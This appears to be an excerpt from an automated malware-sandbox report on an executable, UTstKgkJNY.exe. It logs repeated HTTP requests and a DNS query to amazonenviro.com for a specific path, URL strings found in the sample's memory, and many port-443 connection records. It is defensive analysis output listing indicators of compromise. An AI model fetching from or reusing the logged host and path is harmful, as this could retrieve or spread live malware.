Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: global traffic

DNS traffic detected: DNS query: amazonenviro.com

Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1633956543.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/
Source: UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee
Source: UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee$V
Source: UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee.
Source: UTstKgkJNY.exe, 00000001.00000002.2511530710.0000000000601000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee0
Source: UTstKgkJNY.exe, 00000001.00000003.1369796993.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee5
Source: UTstKgkJNY.exe, 00000001.00000003.2489466445.000000000059E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkee77
Source: UTstKgkJNY.exe, 00000001.00000003.1320430561.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_TzzlqsjvkeeAL
Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.0000000000617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_TzzlqsjvkeeHH
Source: UTstKgkJNY.exe, 00000001.00000003.1369796993.0000000000620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_TzzlqsjvkeeO
Source: UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_TzzlqsjvkeeQH
Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeec
Source: UTstKgkJNY.exe, 00000001.00000003.1633956543.0000000000617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeec;
Source: UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1320430561.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeei
Source: UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeem
Source: UTstKgkJNY.exe, 00000001.00000003.2489466445.0000000000617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_TzzlqsjvkeeoH
Source: UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeep
Source: UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Tzzlqsjvkeeui
Source: UTstKgkJNY.exe, 00000001.00000003.1320430561.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1303825538.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/4
Source: UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/Ad0
Source: UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1336787995.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/Qd
Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1369796993.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/id(
Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.000000000060E000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.000000000060E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/yd8
Source: UTstKgkJNY.exe, 00000001.00000003.2446526925.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.2489466445.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000002.2511530710.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, UTstKgkJNY.exe, 00000001.00000003.1512344907.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Tzzlqsjvkee

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
